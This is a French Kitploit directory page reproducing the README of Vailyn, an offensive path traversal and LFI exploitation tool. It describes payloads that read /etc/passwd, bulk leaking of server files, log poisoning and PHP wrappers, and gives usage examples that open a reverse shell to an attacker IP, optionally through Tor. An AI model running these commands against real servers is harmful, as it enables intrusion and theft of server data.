Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Vailyn — Un outil de scan et d'exploitation de Path Traversal et LFI, phasé et évasif, en Python. | Kitploit
Outils/GitHubGitHub/vainlystrain/vailyn
Scanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubvainlystrain/vailyn

Vailyn

Un outil de scan et d'exploitation de Path Traversal et LFI, phasé et évasif, en Python.

Voir le dépôt
20024il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager


Vailyn


Attaques par parcours de chemin et LFI phasées

Vailyn 3.0

Depuis la v3.0, Vailyn prend en charge les wrappers PHP LFI en Phase 1. Utilisez --lfi pour les inclure dans l'analyse.

À propos

Vailyn est un outil d'analyse et d'exploitation de vulnérabilités multi-phasé pour les vulnérabilités de type chemin d'accès et d'inclusion de fichier. Il est conçu pour être le plus performant possible et offrir un large arsenal de techniques d'évasion de filtres.

Comment cela fonctionne-t-il ?

Vailyn fonctionne en 2 phases. D'abord, il vérifie si la vulnérabilité est présente. Pour ce faire, il tente d'accéder à /etc/passwd (ou à un fichier spécifié par l'utilisateur), avec toutes ses charges utiles d'évasion. En analysant la réponse, les charges utiles qui ont fonctionné sont séparées des autres.

Maintenant, l'utilisateur peut choisir librement quelles charges utiles utiliser. Seules ces charges utiles seront utilisées dans la deuxième phase.

La deuxième phase est la phase d'exploitation. Elle tente alors de divulguer tous les fichiers possibles du serveur à l'aide d'un dictionnaire de fichiers et d'un dictionnaire de répertoires. La profondeur de recherche et le niveau de permutation des répertoires peuvent être adaptés via des arguments. En option, elle peut télécharger les fichiers trouvés et les enregistrer dans son dossier de butin. Sinon, elle essaiera d'obtenir un reverse shell sur le système, permettant à l'attaquant de prendre le contrôle total du serveur.

Actuellement, elle prend en charge plusieurs vecteurs d'attaque : injection via requête, chemin, cookie et données POST.

Pourquoi la séparation en phases ?

La séparation en plusieurs phases est effectuée pour améliorer considérablement les performances de l'outil. Dans les versions précédentes, chaque combinaison fichier-répertoire était vérifiée avec chaque charge utile. Cela entraînait une surcharge importante car les charges utiles étaient toujours réutilisées, même si elles ne fonctionnaient pas pour la page courante.

Installation

Les versions Python recommandées et testées sont 3.7+, mais cela devrait également fonctionner avec Python 3.5 et Python 3.6. Pour installer Vailyn, téléchargez l'archive depuis l'onglet des versions, ou exécutez

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

Une fois sur votre système, vous devrez installer les dépendances Python.

Systèmes Unix

Sur les systèmes Unix, il suffit d'exécuter

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Certaines bibliothèques utilisées par Vailyn ne fonctionnent pas bien avec Windows, ou ne s'installeront pas.

Si vous utilisez Windows, utilisez pip pour installer les exigences listées dans Vailyn\·›\requirements-windows.txt.

Si twisted ne parvient pas à s'installer, il existe une version non officielle disponible ici, qui devrait se construire sous Windows. Gardez simplement à l'esprit qu'il s'agit d'un téléchargement tiers et que l'intégrité n'est pas nécessairement garantie. Après que cela a été installé avec succès, exécuter à nouveau pip sur requirements-windows.txt devrait fonctionner.

Dernières étapes

Si vous souhaitez utiliser pleinement le module de reverse shell, vous devrez avoir sshpass, ncat et konsole installés. Les noms des paquets varient selon la distribution Linux. Sous Windows, vous devrez démarrer l'écouteur manuellement au préalable. Si vous n'aimez pas konsole, vous pouvez spécifier un autre émulateur de terminal dans core/config.py.

C'est tout ! Lancez Vailyn en vous rendant dans son répertoire d'installation et en exécutant

root@kitploit:~
$ python Vailyn -h

Utilisation

Vailyn a 3 arguments obligatoires : -v VIC, -a INT et -p2 TP P1 P2. Cependant, selon -a, d'autres arguments peuvent être nécessaires.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

obligatoire:
  -v VIC, --victim VIC  Cible à attaquer, partie 1 [pré-charge utile]
  -a INT, --attack INT  Type d'attaque (int, 1-5, ou A)

    A|  Spider (tout)          2|  Chemin               5|  Données POST, json
    P|  Spider (partiel)       3|  Cookie
    1|  Paramètre de requête   4|  Données POST, plain

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Attaque en Phase 2, et paramètres nécessaires

┌[ Valeurs ]─────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ Dico Fichier│ Dico Répertoire    │
│ inject  | Adresse IP  │ Port d'écoute      │
│ implant │ Fichier src │ Destination serveur│
└─────────┴─────────────┴────────────────────┘

supplémentaire:
  -p PAM, --param PAM   paramètre de requête ou données POST pour --attack 1, 4, 5
  -i F, --check F       Fichier à vérifier en Phase 1 (par défaut: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Cible d'attaque, partie 2 [post-charge utile]
  -c C, --cookie C      Cookie à ajouter (au format en-tête)
  -l, --loot            Télécharger les fichiers trouvés dans le dossier loot
  -d I J K, --depths I J K
                        profondeurs (I: phase 1, J: phase 2, K: niveau de permutation)
  -h, --help            afficher ce menu d'aide et quitter
  -s T, --timeout T     Délai d'attente de requête ; commutateur stable pour Arjun
  -t, --tor             Acheminer les attaques via le réseau d'anonymat Tor
  -L, --lfi             Utiliser également les wrappers PHP pour divulguer des fichiers
  -n, --nosploit        Ignorer la Phase 2 (ne nécessite pas -p2 TP P1 P2)
  -P, --precise         Utiliser la profondeur exacte en Phase 1 (pas une plage)
  -A, --app             Démarrer l'interface Qt5 de Vailyn

develop:
  --debug                Afficher chaque chemin essayé, même les 404.
  --version              Afficher la version du programme et quitter.
  --notmain              Éviter le plantage de notify2 dans un appel de sous-processus.

Info:
  pour divulguer des fichiers en utilisant des chemins absolus : -d 0 0 0
  pour obtenir un shell en utilisant des chemins absolus : -d 0 X 0

Vailyn prend actuellement en charge 5 vecteurs d'attaque et fournit un robot d'exploration pour les automatiser tous. L'attaque effectuée est identifiée par l'argument -a INT.

root@kitploit:~
INT        attaque
----       -------
1          attaque basée sur la requête  (https://site.com?file=../../../)
2          attaque basée sur le chemin   (https://site.com/../../../)
3          attaque basée sur le cookie   (récupèrera les cookies pour vous)
4          données POST simples          (ELEM1=VAL1&ELEM2=../../../)
5          données POST json             ({"file": "../../../"})
A          spider                        récupérer + analyser toutes les URL du site en utilisant tous les vecteurs
P          spider partiel                récupérer + analyser toutes les URL du site en utilisant uniquement les vecteurs sélectionnés

Vous devez également spécifier une cible à attaquer. Cela se fait via -v VIC et -Pi VIC2, où -v est la partie avant le point d'injection, et -Pi le reste.

Exemple : si l'URL finale devrait ressembler à : https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, vous pouvez spécifier -v https://site.com/download.php et -Pi &param2=necessaryvalue (et -p file, car il s'agit d'une attaque par requête).

Si vous souhaitez inclure des wrappers PHP dans l'analyse (comme php://filter), utilisez l'argument --lfi. À la fin de la Phase 1, un menu de sélection supplémentaire vous sera présenté contenant les wrappers qui ont fonctionné (le cas échéant).

Si le site attaqué se trouve derrière une page de connexion, vous pouvez fournir un cookie d'authentification via -c COOKIE. Si vous souhaitez attaquer via Tor, utilisez --tor.

Phase 1

C'est la phase d'analyse, où les charges utiles fonctionnelles sont séparées des autres.

Par défaut, /etc/passwd est recherché. Si le serveur n'exécute pas Linux, vous pouvez spécifier un fichier personnalisé avec -i FILENAME. Notez que vous devez inclure les sous-répertoires dans FILENAME. Vous pouvez modifier la profondeur de recherche avec la première valeur de -d (par défaut=8). Si vous souhaitez utiliser des chemins absolus, définissez la première profondeur sur 0.

Phase 2

C'est la phase d'exploitation, où Vailyn essaiera de divulguer autant de fichiers que possible, ou d'obtenir un reverse shell en utilisant diverses techniques.

La profondeur de recherche en phase 2 (le nombre maximal de couches parcourues en arrière) est spécifiée par la deuxième valeur de l'argument -d. Le niveau de permutation des sous-répertoires est défini par la troisième valeur de -d.

Si vous attaquez avec des chemins absolus et effectuez l'attaque de divulgation, définissez toutes les profondeurs sur 0. Si vous souhaitez obtenir un reverse shell, assurez-vous que la deuxième profondeur est supérieure à 0.

En spécifiant -l, Vailyn non seulement affichera les fichiers sur le terminal, mais les téléchargera et les enregistrera dans le dossier loot.

Si vous souhaitez une sortie verbeuse (afficher chaque sortie, pas seulement les fichiers trouvés), vous pouvez utiliser --debug. Notez que la sortie devient vraiment désordonnée, c'est essentiellement une aide de débogage.

Pour effectuer l'attaque par force brute, vous devez spécifier -p2 leak FIL PATH, où

  • FIL est un fichier dictionnaire contenant uniquement des noms de fichiers (par exemple, index.php)
  • PATH est un fichier dictionnaire contenant uniquement des noms de répertoires. Vailyn gérera la permutation des répertoires pour vous, vous n'aurez donc besoin que d'un répertoire par ligne.

Pour obtenir un reverse shell par injection de code, vous pouvez utiliser -p2 inject IP PORT, où

  • IP est votre IP d'écoute
  • PORT est le port sur lequel vous souhaitez écouter.

ATTENTION

Vailyn utilise des techniques d'empoisonnement des journaux. Par conséquent, votre IP SPÉCIFIÉE SERA VISIBLE DANS LES JOURNAUX DU SERVEUR.

Les techniques (ne fonctionnent que pour les inclusions LFI) :

  • inclusion de /proc/self/environ ne fonctionne que sur les serveurs obsolètes
  • empoisonnement des journaux Apache + Nginx et inclusion
  • empoisonnement des journaux SSH
  • inclusion de courrier empoisonné
  • wrappers
    • expect://
    • data:// (plain & b64)
    • php://input

Prévention des faux positifs

Pour distinguer les résultats réels des faux positifs, Vailyn effectue les vérifications suivantes :

  • vérifier le code de statut de la réponse
  • vérifier si la réponse est identique à celle prise avant le début de l'attaque : ceci est utile par exemple lorsque le serveur renvoie 200, mais ignore l'entrée de la charge utile ou renvoie une page par défaut si le fichier n'est pas trouvé.
  • similaire au #2, effectuer une vérification supplémentaire pour la gestion des paramètres GET de la requête (utile lorsque le serveur renvoie une erreur indiquant qu'un paramètre nécessaire est manquant)
  • vérifier les réponses vides
  • vérifier si des signatures d'erreur communes sont présentes dans le contenu de la réponse
  • vérifier si la charge utile est contenue dans la réponse : ceci est une vérification supplémentaire pour le cas où le serveur répond 200 pour des fichiers inexistants et reflète la charge utile dans un message (comme ../../secret not found)
  • vérifier si la réponse entière est contenue dans la réponse de vérification initiale : utile lorsque le serveur a une inclusion par défaut qui disparaît en cas de 404
  • pour -a 2, effectuer une vérification supplémentaire si le contenu de la réponse correspond au contenu de l'URL racine du serveur
  • vérification REGEX pour /etc/passwd si ce fichier est utilisé comme fichier de recherche

Exemples

  • Attaque simple par requête, divulgation de fichiers en Phase 2 : $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Attaque par requête, mais je sais qu'un fichier file.php existe exactement 2 niveaux au-dessus du point d'inclusion : $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Cela réduira considérablement la durée de la Phase 1, car c'est une attaque ciblée.

  • Attaque simple par chemin : $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Attaque par chemin, mais j'ai besoin de paramètres de requête et d'une balise : $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Attaque simple par cookie : $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Récupérera les cookies et vous pourrez sélectionner le cookie que vous souhaitez empoisonner

Démo

asciicast Robot d'exploration de Vailyn analysant une application web damn vulnerable. Les wrappers LFI ne sont pas activés.

Démonstration de l'interface graphique (v2.2.1-5)

Problèmes possibles

Vous avez trouvé des faux positifs/négatifs (ou souhaitez signaler d'autres bugs/améliorations) : veuillez laisser un problème !

Code de conduite

Vailyn est fourni en tant qu'outil d'audit d'applications web offensif. Il dispose de fonctionnalités intégrées qui peuvent révéler des vulnérabilités potentielles dans les applications web, qui pourraient être exploitées de manière malveillante.

PAR CONSÉQUENT, NI L'AUTEUR NI LES CONTRIBUTEURS NE SONT RESPONSABLES DE TOUTE UTILISATION ABUSIVE OU DE DOMMAGES DUS À CET OUTIL.

En utilisant ce logiciel, l'utilisateur s'engage à respecter les lois locales, à ne pas attaquer le système d'autrui sans autorisation explicite du propriétaire, ou avec une intention malveillante.

En cas d'infraction, seul l'utilisateur final qui l'a commise est responsable de ses actes.

Crédits et Copyright

Vailyn : Copyright © VainlyStrain

Arjun : Copyright © s0md3v

Arjun n'est plus distribué avec Vailyn. Installez sa dernière version via pip.

Télécharger l’outil
  • Attaque POST simple : $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" infectera DATA2 avec la charge utile

  • Attaque POST JSON : $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Attaque, mais la cible est derrière un écran de connexion : $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Attaque, mais je veux un reverse shell sur le port 1337 : $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # une profondeur de Phase 2 élevée est nécessaire pour l'injection de journal (démarrera un écouteur ncat pour vous si vous êtes sur Unix)

  • Automatisation complète en mode robot d'exploration : $ Vailyn -v "http://root-url.site" -a A vous pouvez également spécifier d'autres arguments, comme cookie, profondeurs, lfi et fichier de recherche ici

  • Automatisation complète, mais Arjun nécessite --stable : $ Vailyn -v "http://root-url.site" -a A -s ANY